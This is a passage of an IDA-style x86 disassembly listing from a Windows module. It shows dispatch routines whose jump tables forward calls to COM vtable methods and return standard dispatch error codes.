		mov	edx, [ecx]
		push	eax
		push	ecx
		call	dword ptr [edx+0B0h]
		jmp	loc_69B3FE7E
; ---------------------------------------------------------------------------


loc_69B3FD92:				; CODE XREF: sub_69B3FD3B+15j
					; DATA XREF: .text:off_69B3FE85o
		mov	eax, [ebp+arg_8] ; jumptable 69B3FD50 case 3
		test	byte ptr [eax+1], 40h
		jz	short loc_69B3FDA2
		mov	ecx, [eax+8]
		mov	edx, [ecx]
		jmp	short loc_69B3FDA5
; ---------------------------------------------------------------------------


loc_69B3FDA2:				; CODE XREF: sub_69B3FD3B+5Ej
		mov	edx, [eax+8]


loc_69B3FDA5:				; CODE XREF: sub_69B3FD3B+65j
		mov	ecx, [ebp+arg_0]
		mov	ebx, [ecx]
		sub	esp, 10h
		mov	edi, esp
		lea	esi, [eax+18h]
		movsd
		movsd
		movsd
		push	edx
		push	ecx
		movsd
		call	dword ptr [ebx+0B4h]
		jmp	loc_69B3FE7E
; ---------------------------------------------------------------------------


loc_69B3FDC3:				; CODE XREF: sub_69B3FD3B+15j
					; DATA XREF: .text:off_69B3FE85o
		mov	eax, [ebp+arg_8] ; jumptable 69B3FD50 case 4
		test	byte ptr [eax+1], 40h
		mov	eax, [eax+8]
		jz	short loc_69B3FDD1
		mov	eax, [eax]


loc_69B3FDD1:				; CODE XREF: sub_69B3FD3B+92j
		mov	ecx, [ebp+arg_0]
		mov	edx, [ecx]
		push	eax
		push	ecx
		call	dword ptr [edx+0B8h]
		jmp	loc_69B3FE7E
; ---------------------------------------------------------------------------


loc_69B3FDE3:				; CODE XREF: sub_69B3FD3B+15j
					; DATA XREF: .text:off_69B3FE85o
		mov	eax, [ebp+arg_8] ; jumptable 69B3FD50 case 5
		test	byte ptr [eax+1], 40h
		jz	short loc_69B3FDF3
		mov	eax, [eax+8]
		mov	ecx, [eax]
		jmp	short loc_69B3FDF6
; ---------------------------------------------------------------------------


loc_69B3FDF3:				; CODE XREF: sub_69B3FD3B+AFj
		mov	ecx, [eax+8]


loc_69B3FDF6:				; CODE XREF: sub_69B3FD3B+B6j
		mov	esi, [ebp+arg_10]
		mov	eax, [ebp+arg_0]
		mov	edx, [eax]
		add	esi, 8
		push	esi
		push	ecx
		push	eax
		call	dword ptr [edx+0BCh]
		jmp	short loc_69B3FE7E
; ---------------------------------------------------------------------------


loc_69B3FE0C:				; CODE XREF: sub_69B3FD3B+15j
					; DATA XREF: .text:off_69B3FE85o
		mov	edx, [ebp+arg_10] ; jumptable 69B3FD50 case 6
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax]
		add	edx, 8
		push	edx
		mov	edx, [ebp+arg_8]
		push	dword ptr [edx+8]
		push	eax
		call	dword ptr [ecx+0C0h]
		jmp	short loc_69B3FE7E
; ---------------------------------------------------------------------------


loc_69B3FE27:				; CODE XREF: sub_69B3FD3B+15j
					; DATA XREF: .text:off_69B3FE85o
		mov	edx, [ebp+arg_10] ; jumptable 69B3FD50 case 7
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax]
		add	edx, 8
		push	edx
		mov	edx, [ebp+arg_8]
		push	dword ptr [edx+8]
		push	eax
		call	dword ptr [ecx+0C4h]
		jmp	short loc_69B3FE7E
; ---------------------------------------------------------------------------


loc_69B3FE42:				; CODE XREF: sub_69B3FD3B+15j
					; DATA XREF: .text:off_69B3FE85o
		mov	eax, [ebp+arg_8] ; jumptable 69B3FD50 case 8
		test	byte ptr [eax+1], 40h
		jz	short loc_69B3FE52
		mov	eax, [eax+8]
		mov	ecx, [eax]
		jmp	short loc_69B3FE55
; ---------------------------------------------------------------------------


loc_69B3FE52:				; CODE XREF: sub_69B3FD3B+10Ej
		mov	ecx, [eax+8]


loc_69B3FE55:				; CODE XREF: sub_69B3FD3B+115j
		mov	esi, [ebp+arg_10]
		mov	eax, [ebp+arg_0]
		mov	edx, [eax]
		add	esi, 8
		push	esi
		push	ecx
		push	eax
		call	dword ptr [edx+0C8h]
		jmp	short loc_69B3FE7E
; ---------------------------------------------------------------------------


loc_69B3FE6B:				; CODE XREF: sub_69B3FD3B+15j
					; DATA XREF: .text:off_69B3FE85o
		mov	eax, [ebp+arg_0] ; jumptable 69B3FD50 case 9
		mov	ecx, [eax]
		push	eax
		call	dword ptr [ecx+0CCh]
		jmp	short loc_69B3FE7E
; ---------------------------------------------------------------------------


loc_69B3FE79:				; CODE XREF: sub_69B3FD3B+Fj
					; sub_69B3FD3B+15j
					; DATA XREF: ...
		mov	eax, 80020003h	; default
					; jumptable 69B3FD50 case 1


loc_69B3FE7E:				; CODE XREF: sub_69B3FD3B+2Fj
					; sub_69B3FD3B+52j ...
		pop	edi
		pop	esi
		pop	ebx
		pop	ebp
		retn	18h
sub_69B3FD3B	endp

; ---------------------------------------------------------------------------
off_69B3FE85	dd offset loc_69B3FD57	; DATA XREF: sub_69B3FD3B+15r
		dd offset loc_69B3FE79	; jump table for switch	statement
		dd offset loc_69B3FD6F
		dd offset loc_69B3FD92
		dd offset loc_69B3FDC3
		dd offset loc_69B3FDE3
		dd offset loc_69B3FE0C
		dd offset loc_69B3FE27
		dd offset loc_69B3FE42
		dd offset loc_69B3FE6B

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_69B3FEAD	proc near		; DATA XREF: .data:69B98AF4o

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= word ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		mov	eax, [ebp+arg_4]
		add	eax, 0FFFFFFFEh
		cmp	eax, 21h	; switch 34 cases
		push	esi
		push	edi
		ja	loc_69B40271	; default
					; jumptable 69B3FEC1 cases 3,18
		jmp	ds:off_69B4027C[eax*4] ; switch	jump


loc_69B3FEC8:				; DATA XREF: .text:off_69B4027Co
		mov	edx, [ebp+arg_10] ; jumptable 69B3FEC1 case 0
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax]
		add	edx, 8
		push	edx
		push	eax
		call	dword ptr [ecx+1Ch]
		jmp	loc_69B40276
; ---------------------------------------------------------------------------


loc_69B3FEDD:				; CODE XREF: sub_69B3FEAD+14j
					; DATA XREF: .text:off_69B4027Co
		cmp	[ebp+arg_C], 2	; jumptable 69B3FEC1 case 1
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax]
		jnz	short loc_69B3FEF5
		push	[ebp+arg_10]
		push	eax
		call	dword ptr [ecx+20h]
		jmp	loc_69B40276
; ---------------------------------------------------------------------------


loc_69B3FEF5:				; CODE XREF: sub_69B3FEAD+3Aj
		mov	esi, [ebp+arg_8]
		sub	esp, 10h
		mov	edi, esp
		movsd
		movsd
		movsd
		push	eax
		movsd
		call	dword ptr [ecx+24h]
		jmp	loc_69B40276
; ---------------------------------------------------------------------------


loc_69B3FF0A:				; CODE XREF: sub_69B3FEAD+14j
					; DATA XREF: .text:off_69B4027Co
		mov	edx, [ebp+arg_10] ; jumptable 69B3FEC1 case 2
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax]
		add	edx, 8
		push	edx
		push	eax
		call	dword ptr [ecx+28h]
		jmp	loc_69B40276
; ---------------------------------------------------------------------------


loc_69B3FF1F:				; CODE XREF: sub_69B3FEAD+14j
					; DATA XREF: .text:off_69B4027Co
		mov	edx, [ebp+arg_10] ; jumptable 69B3FEC1 case 4
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax]
		add	edx, 8
		push	edx
		push	eax
		call	dword ptr [ecx+2Ch]
		jmp	loc_69B40276
; ---------------------------------------------------------------------------


loc_69B3FF34:				; CODE XREF: sub_69B3FEAD+14j
					; DATA XREF: .text:off_69B4027Co
		mov	edx, [ebp+arg_10] ; jumptable 69B3FEC1 case 5
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax]
		add	edx, 8
		push	edx
		push	eax
		call	dword ptr [ecx+30h]
		jmp	loc_69B40276
; ---------------------------------------------------------------------------


loc_69B3FF49:				; CODE XREF: sub_69B3FEAD+14j
					; DATA XREF: .text:off_69B4027Co
		mov	edx, [ebp+arg_10] ; jumptable 69B3FEC1 case 6
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax]
		add	edx, 8
		push	edx
		push	eax
		call	dword ptr [ecx+34h]
		jmp	loc_69B40276
; ---------------------------------------------------------------------------


loc_69B3FF5E:				; CODE XREF: sub_69B3FEAD+14j
					; DATA XREF: .text:off_69B4027Co
		mov	edx, [ebp+arg_10] ; jumptable 69B3FEC1 case 7
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax]
		add	edx, 8
		push	edx
		push	eax
		call	dword ptr [ecx+38h]
		jmp	loc_69B40276
; ---------------------------------------------------------------------------


loc_69B3FF73:				; CODE XREF: sub_69B3FEAD+14j
					; DATA XREF: .text:off_69B4027Co
		mov	edx, [ebp+arg_10] ; jumptable 69B3FEC1 case 8
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax]
		add	edx, 8
		push	edx
		push	eax
		call	dword ptr [ecx+3Ch]
		jmp	loc_69B40276
; ---------------------------------------------------------------------------


loc_69B3FF88:				; CODE XREF: sub_69B3FEAD+14j
					; DATA XREF: .text:off_69B4027Co
		mov	edx, [ebp+arg_10] ; jumptable 69B3FEC1 case 9
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax]
		add	edx, 8
		push	edx
		push	eax
		call	dword ptr [ecx+40h]
		jmp	loc_69B40276
; ---------------------------------------------------------------------------


loc_69B3FF9D:				; CODE XREF: sub_69B3FEAD+14j
					; DATA XREF: .text:off_69B4027Co
		mov	edx, [ebp+arg_10] ; jumptable 69B3FEC1 case 10
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax]
		add	edx, 8
		push	edx
		push	eax
		call	dword ptr [ecx+44h]
		jmp	loc_69B40276
; ---------------------------------------------------------------------------


loc_69B3FFB2:				; CODE XREF: sub_69B3FEAD+14j
					; DATA XREF: .text:off_69B4027Co
		mov	eax, [ebp+arg_10] ; jumptable 69B3FEC1 case 11
		mov	ecx, [ebp+arg_0]
		mov	edx, [ecx]
		add	eax, 8
		push	eax
		mov	eax, [ebp+arg_8]
		sub	esp, 10h
		mov	edi, esp
		push	dword ptr [eax+8]
		lea	esi, [eax+18h]
		movsd
		movsd
		movsd
		push	ecx
		movsd
		call	dword ptr [edx+48h]
		jmp	loc_69B40276
; ---------------------------------------------------------------------------


loc_69B3FFD9:				; CODE XREF: sub_69B3FEAD+14j
					; DATA XREF: .text:off_69B4027Co
		mov	eax, [ebp+arg_10] ; jumptable 69B3FEC1 case 12
		mov	ecx, [ebp+arg_0]
		mov	edx, [ecx]
		add	eax, 8
		push	eax
		mov	eax, [ebp+arg_8]
		push	dword ptr [eax+20h]
		push	dword ptr [eax+8]
		push	ecx
		call	dword ptr [edx+4Ch]
		jmp	loc_69B40276
; ---------------------------------------------------------------------------


loc_69B3FFF7:				; CODE XREF: sub_69B3FEAD+14j
					; DATA XREF: .text:off_69B4027Co
		mov	edx, [ebp+arg_10] ; jumptable 69B3FEC1 case 13
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax]
		add	edx, 8
		push	edx
		mov	edx, [ebp+arg_8]
		push	dword ptr [edx+8]
		push	eax
		call	dword ptr [ecx+50h]
		jmp	loc_69B40276
; ---------------------------------------------------------------------------


loc_69B40012:				; CODE XREF: sub_69B3FEAD+14j
					; DATA XREF: .text:off_69B4027Co
		mov	edx, [ebp+arg_10] ; jumptable 69B3FEC1 case 14
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax]
		add	edx, 8
		push	edx
		mov	edx, [ebp+arg_8]
		push	dword ptr [edx+8]
		push	eax
		call	dword ptr [ecx+54h]
		jmp	loc_69B40276
; ---------------------------------------------------------------------------


loc_69B4002D:				; CODE XREF: sub_69B3FEAD+14j
					; DATA XREF: .text:off_69B4027Co
		mov	edx, [ebp+arg_10] ; jumptable 69B3FEC1 case 15
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax]
		add	edx, 8
		push	edx
		push	eax
		call	dword ptr [ecx+58h]
		jmp	loc_69B40276
; ---------------------------------------------------------------------------


loc_69B40042:				; CODE XREF: sub_69B3FEAD+14j
					; DATA XREF: .text:off_69B4027Co
		mov	edx, [ebp+arg_10] ; jumptable 69B3FEC1 case 16
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax]
		add	edx, 8
		push	edx
		push	eax
		call	dword ptr [ecx+5Ch]
		jmp	loc_69B40276
; ---------------------------------------------------------------------------


loc_69B40057:				; CODE XREF: sub_69B3FEAD+14j
					; DATA XREF: .text:off_69B4027Co
		mov	eax, [ebp+arg_8] ; jumptable 69B3FEC1 case 17
		test	byte ptr [eax+1], 40h
		jz	short loc_69B40068
		mov	eax, [eax+8]
		mov	cx, [eax]
		jmp	short loc_69B4006E
; ---------------------------------------------------------------------------


loc_69B40068:				; CODE XREF: sub_69B3FEAD+1B1j
		xor	ecx, ecx
		mov	cx, [eax+8]


loc_69B4006E:				; CODE XREF: sub_69B3FEAD+1B9j
		mov	esi, [ebp+arg_10]
		mov	eax, [ebp+arg_0]
		mov	edx, [eax]
		add	esi, 8
		push	esi
		push	ecx
		push	eax
		call	dword ptr [edx+60h]
		jmp	loc_69B40276
; ---------------------------------------------------------------------------


loc_69B40084:				; CODE XREF: sub_69B3FEAD+14j
					; DATA XREF: .text:off_69B4027Co
		mov	edx, [ebp+arg_10] ; jumptable 69B3FEC1 case 19
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax]
		add	edx, 8
		push	edx
		push	eax
		call	dword ptr [ecx+64h]
		jmp	loc_69B40276
; ---------------------------------------------------------------------------


loc_69B40099:				; CODE XREF: sub_69B3FEAD+14j
					; DATA XREF: .text:off_69B4027Co
		cmp	[ebp+arg_C], 2	; jumptable 69B3FEC1 case 22
		jnz	short loc_69B400B5
		mov	edx, [ebp+arg_10]
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax]
		add	edx, 8
		push	edx
		push	eax
		call	dword ptr [ecx+68h]
		jmp	loc_69B40276
; ---------------------------------------------------------------------------


loc_69B400B5:				; CODE XREF: sub_69B3FEAD+1F1j
		mov	eax, [ebp+arg_8]
		test	byte ptr [eax+1], 40h
		mov	eax, [eax+8]
		jz	short loc_69B400C3
		mov	eax, [eax]


loc_69B400C3:				; CODE XREF: sub_69B3FEAD+212j
		mov	ecx, [ebp+arg_0]
		mov	edx, [ecx]
		push	eax
		push	ecx
		call	dword ptr [edx+6Ch]
		jmp	loc_69B40276
; ---------------------------------------------------------------------------


loc_69B400D2:				; CODE XREF: sub_69B3FEAD+14j
					; DATA XREF: .text:off_69B4027Co
		mov	edx, [ebp+arg_10] ; jumptable 69B3FEC1 case 20
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax]
		add	edx, 8
		push	edx
		push	eax
		call	dword ptr [ecx+70h]
		jmp	loc_69B40276
; ---------------------------------------------------------------------------


loc_69B400E7:				; CODE XREF: sub_69B3FEAD+14j
					; DATA XREF: .text:off_69B4027Co
		mov	edx, [ebp+arg_10] ; jumptable 69B3FEC1 case 21
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax]
		add	edx, 8
		push	edx
		push	eax
		call	dword ptr [ecx+74h]
		jmp	loc_69B40276
; ---------------------------------------------------------------------------


loc_69B400FC:				; CODE XREF: sub_69B3FEAD+14j
					; DATA XREF: .text:off_69B4027Co
		cmp	[ebp+arg_C], 2	; jumptable 69B3FEC1 case 23
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax]
		jnz	short loc_69B40114
		push	[ebp+arg_10]
		push	eax
		call	dword ptr [ecx+78h]
		jmp	loc_69B40276
; ---------------------------------------------------------------------------


loc_69B40114:				; CODE XREF: sub_69B3FEAD+259j
		mov	esi, [ebp+arg_8]
		sub	esp, 10h
		mov	edi, esp
		movsd
		movsd
		movsd
		push	eax
		movsd
		call	dword ptr [ecx+7Ch]
		jmp	loc_69B40276
; ---------------------------------------------------------------------------


loc_69B40129:				; CODE XREF: sub_69B3FEAD+14j
					; DATA XREF: .text:off_69B4027Co
		cmp	[ebp+arg_C], 2	; jumptable 69B3FEC1 case 24
		jnz	short loc_69B40144
		mov	eax, [ebp+arg_0]
		push	[ebp+arg_10]
		mov	ecx, [eax]
		push	eax
		call	dword ptr [ecx+80h]
		jmp	loc_69B40276
; ---------------------------------------------------------------------------


loc_69B40144:				; CODE XREF: sub_69B3FEAD+281j
		mov	eax, [ebp+arg_8]
		test	byte ptr [eax+1], 40h
		mov	eax, [eax+8]
		jz	short loc_69B40152
		mov	eax, [eax]


loc_69B40152:				; CODE XREF: sub_69B3FEAD+2A1j
		mov	ecx, [ebp+arg_0]
		mov	edx, [ecx]
		push	eax
		push	ecx
		call	dword ptr [edx+84h]
		jmp	loc_69B40276
; ---------------------------------------------------------------------------


loc_69B40164:				; CODE XREF: sub_69B3FEAD+14j
					; DATA XREF: .text:off_69B4027Co
		mov	edx, [ebp+arg_10] ; jumptable 69B3FEC1 case 25
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax]
		add	edx, 8
		push	edx
		push	eax
		call	dword ptr [ecx+88h]
		jmp	loc_69B40276
; ---------------------------------------------------------------------------


loc_69B4017C:				; CODE XREF: sub_69B3FEAD+14j
					; DATA XREF: .text:off_69B4027Co
		mov	eax, [ebp+arg_8] ; jumptable 69B3FEC1 case 26
		test	byte ptr [eax+1], 40h
		jz	short loc_69B4018C
		mov	eax, [eax+8]
		mov	ecx, [eax]
		jmp	short loc_69B4018F
; ---------------------------------------------------------------------------


loc_69B4018C:				; CODE XREF: sub_69B3FEAD+2D6j
		mov	ecx, [eax+8]


loc_69B4018F:				; CODE XREF: sub_69B3FEAD+2DDj
		mov	esi, [ebp+arg_10]
		mov	eax, [ebp+arg_0]
		mov	edx, [eax]
		add	esi, 8
		push	esi
		push	ecx
		push	eax
		call	dword ptr [edx+8Ch]
		jmp	loc_69B40276
; ---------------------------------------------------------------------------


loc_69B401A8:				; CODE XREF: sub_69B3FEAD+14j
					; DATA XREF: .text:off_69B4027Co
		mov	eax, [ebp+arg_8] ; jumptable 69B3FEC1 case 27
		test	byte ptr [eax+1], 40h
		jz	short loc_69B401B8
		mov	eax, [eax+8]
		mov	ecx, [eax]
		jmp	short loc_69B401BB
; ---------------------------------------------------------------------------


loc_69B401B8:				; CODE XREF: sub_69B3FEAD+302j
		mov	ecx, [eax+8]


loc_69B401BB:				; CODE XREF: sub_69B3FEAD+309j
		mov	esi, [ebp+arg_10]
		mov	eax, [ebp+arg_0]
		mov	edx, [eax]
		add	esi, 8
		push	esi
		push	ecx
		push	eax
		call	dword ptr [edx+90h]
		jmp	loc_69B40276
; ---------------------------------------------------------------------------


loc_69B401D4:				; CODE XREF: sub_69B3FEAD+14j
					; DATA XREF: .text:off_69B4027Co
		mov	eax, [ebp+arg_8] ; jumptable 69B3FEC1 case 28
		test	byte ptr [eax+1], 40h
		jz	short loc_69B401E4
		mov	eax, [eax+8]
		mov	ecx, [eax]
		jmp	short loc_69B401E7
; ---------------------------------------------------------------------------


loc_69B401E4:				; CODE XREF: sub_69B3FEAD+32Ej
		mov	ecx, [eax+8]


loc_69B401E7:				; CODE XREF: sub_69B3FEAD+335j
		mov	esi, [ebp+arg_10]
		mov	eax, [ebp+arg_0]
		mov	edx, [eax]
		add	esi, 8
		push	esi
		push	ecx
		push	eax
		call	dword ptr [edx+94h]
		jmp	short loc_69B40276
; ---------------------------------------------------------------------------


loc_69B401FD:				; CODE XREF: sub_69B3FEAD+14j
					; DATA XREF: .text:off_69B4027Co
		mov	edx, [ebp+arg_10] ; jumptable 69B3FEC1 case 29
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax]
		add	edx, 8
		push	edx
		push	eax
		call	dword ptr [ecx+98h]
		jmp	short loc_69B40276
; ---------------------------------------------------------------------------


loc_69B40212:				; CODE XREF: sub_69B3FEAD+14j
					; DATA XREF: .text:off_69B4027Co
		mov	edx, [ebp+arg_10] ; jumptable 69B3FEC1 case 30
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax]
		add	edx, 8
		push	edx
		push	eax
		call	dword ptr [ecx+9Ch]
		jmp	short loc_69B40276
; ---------------------------------------------------------------------------


loc_69B40227:				; CODE XREF: sub_69B3FEAD+14j
					; DATA XREF: .text:off_69B4027Co
		mov	edx, [ebp+arg_10] ; jumptable 69B3FEC1 case 31
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax]
		add	edx, 8
		push	edx
		push	eax
		call	dword ptr [ecx+0A0h]
		jmp	short loc_69B40276
; ---------------------------------------------------------------------------


loc_69B4023C:				; CODE XREF: sub_69B3FEAD+14j
					; DATA XREF: .text:off_69B4027Co
		mov	edx, [ebp+arg_10] ; jumptable 69B3FEC1 case 32
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax]
		add	edx, 8
		push	edx
		push	eax
		call	dword ptr [ecx+0A4h]
		jmp	short loc_69B40276
; ---------------------------------------------------------------------------


loc_69B40251:				; CODE XREF: sub_69B3FEAD+14j
					; DATA XREF: .text:off_69B4027Co
		mov	eax, [ebp+arg_8] ; jumptable 69B3FEC1 case 33
		mov	ecx, [ebp+arg_0]
		mov	edx, [ecx]
		sub	esp, 10h
		mov	edi, esp
		push	dword ptr [eax+8]
		lea	esi, [eax+18h]
		movsd
		movsd
		movsd
		push	ecx
		movsd
		call	dword ptr [edx+0A8h]
		jmp	short loc_69B40276
; ---------------------------------------------------------------------------


loc_69B40271:				; CODE XREF: sub_69B3FEAD+Ej
					; sub_69B3FEAD+14j
					; DATA XREF: ...
		mov	eax, 80020003h	; default
					; jumptable 69B3FEC1 cases 3,18


loc_69B40276:				; CODE XREF: sub_69B3FEAD+2Bj
					; sub_69B3FEAD+43j ...
		pop	edi
		pop	esi
		pop	ebp
		retn	18h
sub_69B3FEAD	endp

; ---------------------------------------------------------------------------
off_69B4027C	dd offset loc_69B3FEC8	; DATA XREF: sub_69B3FEAD+14r
		dd offset loc_69B3FEDD	; jump table for switch	statement
		dd offset loc_69B3FF0A
		dd offset loc_69B40271
		dd offset loc_69B3FF1F
		dd offset loc_69B3FF34
		dd offset loc_69B3FF49
		dd offset loc_69B3FF5E
		dd offset loc_69B3FF73
		dd offset loc_69B3FF88
		dd offset loc_69B3FF9D
		dd offset loc_69B3FFB2
		dd offset loc_69B3FFD9
		dd offset loc_69B3FFF7
		dd offset loc_69B40012
		dd offset loc_69B4002D
		dd offset loc_69B40042
		dd offset loc_69B40057
		dd offset loc_69B40271
		dd offset loc_69B40084
		dd offset loc_69B400D2
		dd offset loc_69B400E7
		dd offset loc_69B40099
		dd offset loc_69B400FC
		dd offset loc_69B40129
		dd offset loc_69B40164
		dd offset loc_69B4017C
		dd offset loc_69B401A8
		dd offset loc_69B401D4
		dd offset loc_69B401FD
		dd offset loc_69B40212
		dd offset loc_69B40227
		dd offset loc_69B4023C
		dd offset loc_69B40251

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_69B40304	proc near		; CODE XREF: sub_69B59463+10p
					; DATA XREF: .text:69B1254Co

var_10		= word ptr -10h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 10h
		mov	eax, [ebp+arg_0]
		push	esi
		push	edi
		push	[ebp+arg_8]
		mov	ecx, [eax]
		sub	esp, 10h
		mov	edi, esp
		push	[ebp+arg_4]
		mov	[ebp+var_10], 1
		lea	esi, [ebp+var_10]
		movsd
		movsd
		movsd
		push	eax
		movsd
		call	dword ptr [ecx+48h]
		pop	edi
		pop	esi
		leave
		retn	0Ch
sub_69B40304	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B40333	proc near		; CODE XREF: sub_69B422B4:loc_69B42330p
					; sub_69B4DD27+4Fp ...
		push	esi
		push	1
		mov	esi, ecx
		call	sub_69B490AC
		mov	ecx, esi
		push	eax
		call	sub_69B4A201
		mov	ecx, esi
		push	eax
		call	sub_69B4AAFC
		pop	esi
		retn
sub_69B40333	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_69B4034F	proc near		; DATA XREF: .data:69B98EE8o

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch

		push	ebp
		mov	ebp, esp
		mov	eax, [ebp+arg_4]
		cmp	eax, 0FFFFFFFCh
		jz	short loc_69B403D8
		test	eax, eax
		jz	short loc_69B403A3
		cmp	eax, 4Ah
		jz	short loc_69B40391
		cmp	eax, 4Ch
		jz	short loc_69B4037F
		cmp	eax, 4Dh
		jz	short loc_69B40374
		mov	eax, 80020003h
		jmp	short loc_69B403E8
; ---------------------------------------------------------------------------


loc_69B40374:				; CODE XREF: sub_69B4034F+1Cj
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax]
		push	eax
		call	dword ptr [ecx+28h]
		jmp	short loc_69B403E8
; ---------------------------------------------------------------------------


loc_69B4037F:				; CODE XREF: sub_69B4034F+17j
		mov	edx, [ebp+arg_10]
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax]
		add	edx, 8
		push	edx
		push	eax
		call	dword ptr [ecx+24h]
		jmp	short loc_69B403E8
; ---------------------------------------------------------------------------


loc_69B40391:				; CODE XREF: sub_69B4034F+12j
		mov	edx, [ebp+arg_10]
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax]
		add	edx, 8
		push	edx
		push	eax
		call	dword ptr [ecx+20h]
		jmp	short loc_69B403E8
; ---------------------------------------------------------------------------


loc_69B403A3:				; CODE XREF: sub_69B4034F+Dj
		cmp	[ebp+arg_14], 1
		jz	short loc_69B403B0
		mov	eax, 8002000Eh
		jmp	short loc_69B403E8
; ---------------------------------------------------------------------------


loc_69B403B0:				; CODE XREF: sub_69B4034F+58j
		mov	eax, [ebp+arg_8]
		test	byte ptr [eax+1], 40h
		jz	short loc_69B403C0
		mov	eax, [eax+8]
		mov	ecx, [eax]
		jmp	short loc_69B403C3
; ---------------------------------------------------------------------------


loc_69B403C0:				; CODE XREF: sub_69B4034F+68j
		mov	ecx, [eax+8]


loc_69B403C3:				; CODE XREF: sub_69B4034F+6Fj
		mov	eax, [ebp+arg_0]
		mov	edx, [eax]
		push	esi
		mov	esi, [ebp+arg_10]
		add	esi, 8
		push	esi
		push	ecx
		push	eax
		call	dword ptr [edx+1Ch]
		pop	esi
		jmp	short loc_69B403E8
; ---------------------------------------------------------------------------


loc_69B403D8:				; CODE XREF: sub_69B4034F+9j
		mov	edx, [ebp+arg_10]
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax]
		add	edx, 8
		push	edx
		push	eax
		call	dword ptr [ecx+2Ch]


loc_69B403E8:				; CODE XREF: sub_69B4034F+23j
					; sub_69B4034F+2Ej ...
		pop	ebp
		retn	18h
sub_69B4034F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_69B403EC	proc near		; DATA XREF: .data:69B99068o

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch

		push	ebp
		mov	ebp, esp
		mov	eax, [ebp+arg_4]
		cmp	eax, 55h
		push	esi
		push	edi
		jg	loc_69B404F3
		jz	loc_69B404CA
		cmp	eax, 0FFFFFFFCh
		jz	loc_69B404B5
		test	eax, eax
		jz	short loc_69B4047C
		cmp	eax, 4Ah
		jz	short loc_69B40467
		cmp	eax, 53h
		jz	short loc_69B4043E
		cmp	eax, 54h
		jnz	loc_69B40501
		mov	edx, [ebp+arg_10]
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax]
		add	edx, 8
		push	edx
		mov	edx, [ebp+arg_8]
		push	dword ptr [edx+8]
		push	eax
		call	dword ptr [ecx+20h]
		jmp	loc_69B40587
; ---------------------------------------------------------------------------


loc_69B4043E:				; CODE XREF: sub_69B403EC+2Cj
		mov	eax, [ebp+arg_8]
		test	byte ptr [eax+1], 40h
		jz	short loc_69B4044E
		mov	eax, [eax+8]
		mov	ecx, [eax]
		jmp	short loc_69B40451
; ---------------------------------------------------------------------------


loc_69B4044E:				; CODE XREF: sub_69B403EC+59j
		mov	ecx, [eax+8]


loc_69B40451:				; CODE XREF: sub_69B403EC+60j
		mov	esi, [ebp+arg_10]
		mov	eax, [ebp+arg_0]
		mov	edx, [eax]
		add	esi, 8
		push	esi
		push	ecx
		push	eax
		call	dword ptr [edx+1Ch]
		jmp	loc_69B40587
; ---------------------------------------------------------------------------


loc_69B40467:				; CODE XREF: sub_69B403EC+27j
		mov	edx, [ebp+arg_10]
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax]
		add	edx, 8
		push	edx
		push	eax
		call	dword ptr [ecx+2Ch]
		jmp	loc_69B40587
; ---------------------------------------------------------------------------


loc_69B4047C:				; CODE XREF: sub_69B403EC+22j
		cmp	[ebp+arg_14], 1
		jz	short loc_69B4048C
		mov	eax, 8002000Eh
		jmp	loc_69B40587
; ---------------------------------------------------------------------------


loc_69B4048C:				; CODE XREF: sub_69B403EC+94j
		mov	eax, [ebp+arg_8]
		test	byte ptr [eax+1], 40h
		jz	short loc_69B4049C
		mov	eax, [eax+8]
		mov	ecx, [eax]
		jmp	short loc_69B4049F
; ---------------------------------------------------------------------------


loc_69B4049C:				; CODE XREF: sub_69B403EC+A7j
		mov	ecx, [eax+8]


loc_69B4049F:				; CODE XREF: sub_69B403EC+AEj
		mov	esi, [ebp+arg_10]
		mov	eax, [ebp+arg_0]
		mov	edx, [eax]
		add	esi, 8
		push	esi
		push	ecx
		push	eax
		call	dword ptr [edx+28h]
		jmp	loc_69B40587
; ---------------------------------------------------------------------------


loc_69B404B5:				; CODE XREF: sub_69B403EC+1Aj
